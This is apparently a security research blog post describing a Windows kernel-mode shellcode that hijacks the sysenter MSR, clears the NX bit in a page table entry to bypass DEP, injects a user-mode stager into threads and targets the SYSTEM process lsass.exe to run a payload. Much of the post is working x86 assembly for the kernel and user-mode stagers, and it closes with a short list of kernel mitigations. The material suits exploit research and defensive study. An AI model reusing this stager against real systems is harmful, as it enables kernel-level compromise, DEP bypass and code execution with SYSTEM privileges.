This blog post will discuss the implementation of a win32 kernel mode shellcode which will deliver an independent user mode payload. Most of the techniques used in this shellcode are discussed in the excellent 2005 paper 'Kernel-mode Payloads on Windows' by bugcheck and skape. The shellcode works against all current Windows kernels and we will see how several assumptions regarding memory locations, can be made in order to both store the kernel mode shellcode as well as disable DEP for the user mode portions.
The shellcode will work as follows. After gaining arbitrary code execution we will initially migrate out of the current kernel thread we are executing in by hijacking the sysenter Model Specific Register (MSR). Now whenever a user mode process performs a system call via the sysenter instruction, our kernel mode stager will get control. This stager will determine if it should hijack the user mode threads return address for the system call. If it does our user mode stager will get control and determine if it is executing in a predetermined SYSTEM process. If it is, the kernel mode sysenter hook is removed before finally executing the user mode payload. Should the user mode payload return cleanly, the hijacked user mode thread may resume execution normally.Kernel Mode Migration
For our shellcode to work correctly we make several decisions as to where the shellcode will be placed in memory. From within kernel mode we will place our shellcode beginning at address 0xFFDF0400 which resides within the kernels Hardware Abstraction Layer (HAL) memory region. This memory is both writable and executable. It has the extra property of being mapped into the shared user data region (With a WinDbg symbol of SharedUserData, beginning at address 0x7FFE0000) of all user mode processes and as such can also be addressed from user mode using the address 0x7FFE0400 (We advance 0x400 bytes past the beginning of SharedUserData to avoid overwriting the critical information held there). From user mode on a Physical Address Extension (PAE) enabled system this memory will have the NX bit set marking it not executable as shown below in Listing 1. However we can easily overcome this in our kernel mode stager as described later. These addresses are not effected by ASLR and are static across all current versions of Windows.
PDE at 00000000C0603FF0 PTE at 00000000C07FEF80
contains 0000000000127063 contains 0000000000152163
pfn 127 ---DA--KWEV pfn 152 -G-DA—KWEV <- Executable bit is set
kd> !pte 0x7FFE0400
PDE at 00000000C0601FF8 PTE at 00000000C03FFF00
contains 000000003D283867 contains 8000000000152005
pfn 3d283 ---DA--UWEV pfn 152 -------UR-V <- Executable bit is not set
To hijack the sysenter MSR as shown below in Listing 2, we first read the value of the current sysenter MSR and save it to a known location so as we can restore it later. As we already know where we will place our kernel mode stager we proceed to set this value as the new sysenter MSR. We then copy our kernel mode stager and user mode stager over to this known location (0xFFDF0400). Finally we place the current kernel thread we are in into a halted state to avoid any stability issues should we instead attempt to either kill the thread or resume the threads execution.
jmp short ring0_migrate_bounce
pop esi // pop off ring0_stager_start address
// get current sysenter msr (nt!KiFastCallEntry)
push 0x176 // SYSENTER_EIP_MSR
// save original sysenter msr (nt!KiFastCallEntry)
mov dword [esi+( ring0_stager_data - ring0_stager_start )+0], eax
// retrieve the address in kernel memory where we will write the ring0 stager + ring3 code
mov edi, dword [esi+( ring0_stager_data - ring0_stager_start )+4]
// patch sysenter msr to be our stager
mov eax, edi
// copy over stager to shared memory
mov ecx, ( ring3_stager - ring0_stager_start )
sti // set interrupt flag
hlt // Halt this thread to avoid problems.
jmp short ring0_migrate_idle
call ring0_migrate_patch // call the patch code, pushing the ring0_stager_start address to stack
With both our kernel mode and user mode stagers resident in memory and the sysenter MSR hijacked, our kernel mode stager will get control upon any user mode process issuing a sysenter instruction. The kernel mode stager, shown below in Listing 3, will act as a proxy to the real sysenter function (nt!KiFastCallEntry), first preserving the state of the CPU before performing its actions and then restoring the state of the CPU and returning into the original sysenter function. The kernel mode stager will check to see if the user mode process which issued the system call, is instructing the stager to remove the sysenter MSR hook. The user mode stager, described later, will use this feature before executing the user mode payload. If the sysenter MSR hook is to be removed the address of the original sysenter function is restored to the correct MSR before the kernel mode stager returns. If the hook is not to be removed the kernel mode stager will determine if the return address for the user mode thread that issued the sysenter is to be patched in order to execute the user mode stager. How this is determined is to examine if the user mode return address from the system call is to a single RET instruction (As opposed to a 'RET 4' or 'RET 8' or any other instructions). This is to insure that the user mode stager can resume the hijacked user mode thread correctly if the user mode stager chooses not to execute the user mode payload (e.g. when not running in a SYSTEM process). This works because the user mode stager will also perform a single RET instruction when it is finished. If the kernel mode stager is to hijack the user mode return address, the address of the user mode stager is patched over the original return address held in the user mode threads stack (pointed to by EDX during a sysenter). Finally we must bypass DEP if we are running on a PAE enabled system so that the user mode stager can execute correctly. We can use the CPUID instruction to determine if the current CPU supports the NX bit. If it does we clear the NX bit from the Page Table Entry (PTE) which is associated with the user mode stager. Windows does not use any form of ASLR for the base of either its Page Directories or Tables which begin at 0xC0600000 and 0xC0000000 respectively on PAE enabled systems (Refer to page 771 of 'Windows Internals, Fifth Edition' by Mark Russinovich, David Solomin and Alex Ionescu). Knowing the address of the user mode stager (0x7FFE0400 + the length of the kernel mode stager), we can therefore determine the static address for the corresponding PTE, which will be 0xC03FFF00. By clearing the NX bit in this PTE we can disable DEP protection for the user mode stager.
push byte 0 // alloc a dword for the patched return address
pushfd // save flags and registers
// patch in the real nt!KiFastCallEntry address as our return address
mov ebx, dword [eax + ( ring0_stager_data - ring0_stager_eip ) + 0]
mov [ esp + 36 ], ebx
cmp ecx, 0xDEADC0DE // see if we should remove sysenter hook
push 0x176 // SYSENTER_EIP_MSR
mov eax, ebx // set sysenter msr to be the real nt!KiFastCallEntry
xor edx, edx
xor eax, eax // clear eax (the syscall number) so we can continue
jmp short ring0_stager_finish
ring0_stager_hook: // get the original r3 ret address
mov esi, [ edx ] // (edx is the ring3 stack pointer)
movzx ebx, byte [ esi ] // determine if the return is to a "ret"
cmp bx, 0xC3
// only insert ring3 stager hook if we are to return to a single ret
jne short ring0_stager_finish
// calculate our r3 address in shared memory
mov ebx, dword [eax + ( ring0_stager_data - ring0_stager_eip ) + 8]
lea ebx, [ ebx + ring3_start - ring0_stager_start ]
mov [ edx ], ebx // patch in our r3 stage as the r3 return address
mov eax, 0x80000001
cpuid // detect if NX is present (clobbers eax,ebx,ecx,edx)...
and edx, 0x00100000 // bit 20 is the NX bit
jz short ring0_stager_finish
// modify the correct PTE to make our ring3 stager executable
mov edx, 0xC03FFF00 // we can default to this for now
add edx, 4
and dword [ edx ], 0x7FFFFFFF // clear the NX bit
popad // restore registers
popfd // restore flags
ret // return to real nt!KiFastCallEntry
dd 0xFFFFFFFF // saved nt!KiFastCallEntry
dd 0xFFDF0400 // kernel memory address of stager
dd 0x7FFE0400 // shared user memory address of stager
We now have our user mode stager executing in every thread in the system that issues a system call which returns to a single RET instruction. We examine the file path held in the Process Environment Block (PEB) of the current process to see if we are executing in a process which should be running with SYSTEM privileges. If we are not running in such a process the user mode stager will simply return, resuming the current threads execution correctly. If we are executing in a privileged process we proceed to issue a special system call in order to instruct the kernel mode stager to remove the sysenter hook. We then execute the user mode payload.
push byte 0x30
cdq // zero edx
mov ebx, [ fs : eax ] // get the PEB
cmp [ ebx + 0xC ], edx
mov eax, [ ebx + 0x10 ] // get pointer to the ProcessParameters
mov eax, [ eax + 0x3C ] // get the current processes ImagePathName
// advance past '*:\windows\system32\'
add eax, byte 0x28 // (we assume this as we want a system process).
// compute a simple hash of the name (skapes technique).
mov ecx, [ eax ] // get first 2 wide chars of name 'l\x00s\x00'
add ecx, [ eax + 0x3 ] // and add '\x00a\x00s'
cmp ecx, 'lass' // check the hash, default to hash('lsass.exe')
// if we are not in the correct process, return to real caller.
// otherwise we first remove our ring0 sysenter hook.
// and then call the real ring3 payload.
// should the payload return we can resume this thread correctly.
mov ecx, 0xDEADC0DE // set the magic value for ecx
mov edx, esp // save our esp in edx for sysenter
sysenter // now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller).
ret // return to the original system calls caller
// ...ring3 payload here...
Several mitigation's could be made in the kernel to make this type of shellcode unviable, although once arbitrary code execution has been gained mitigation's usually act more as an obstacle rather then being truly preventative.
- Both the Page Directories and Page Tables could have some form of ASLR employed so as determining Page Table Entries would be non trivial. This would help ensure DEP could not be circumvented when running the user mode stager. However, as the physical address of the page directory is held in the CR3 register it should be possible to resolve it to a virtual address programmatically.
- The kernel mode mapping of SharedUserData could be marked as not executable, removing the location where the kernel stager goes resident. However the respective PTE could still be modified to overcome this. Furthermore the entire HAL memory region should be subject to ASLR so as predetermined addresses cannot be chosen by the attacker.
- The kernel mode mapping of SharedUserData could not be mapped across all process address spaces, instead a separate user mode only mapping could be present for each processes SharedUserData region and mapped back into kernel memory only if needed. This could prevent the user mode stager from being 'injected' into each user mode process.